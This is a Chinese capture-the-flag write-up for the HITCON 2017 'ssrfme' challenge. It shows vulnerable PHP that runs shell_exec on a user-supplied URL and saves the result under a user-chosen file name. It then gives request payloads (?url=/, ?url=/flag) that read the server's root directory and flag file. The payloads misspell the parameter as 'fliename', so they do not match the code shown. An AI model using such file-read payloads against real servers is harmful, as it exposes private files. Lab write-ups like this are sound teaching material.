hitcon_2017_ssrfme

 <?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

这个代码的意思大概是通过GET方法请求到的数据保存在我们自定义的文件名当中。

给url参数传递/可以查看根目录下的内容

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

访问sandbox/+md5(orange+出口Ip) 注意:加密后用小写的

如果出现下图,说明路径是对的

然后构造payload1:

?url=/&fliename=aaa

这个aaa可以随便写,能用就行

然后访问:

/sandbox/md5加密后的内容/aaa

出现以下目录

)

可以看到flag

然后改一下payload继续以上操作

?url=/flag&fliename=aaa
/sandbox/md5加密后的内容/aaa

发现文件没法显示

继续改payload

?url=/flag&fliename=aaa.txt
/sandbox/md5加密后的内容/aaa.txt

flag就出来了

tips:

“REMOTE_ADDR” :正在浏览当前页面用户的 IP 地址

escapeshellarg ():— 把字符串转码为可以在 shell 命令里使用的参数

pathinfo(): 函数以数组的形式返回关于文件路径的信息

basename() 函数返回路径中的文件名部分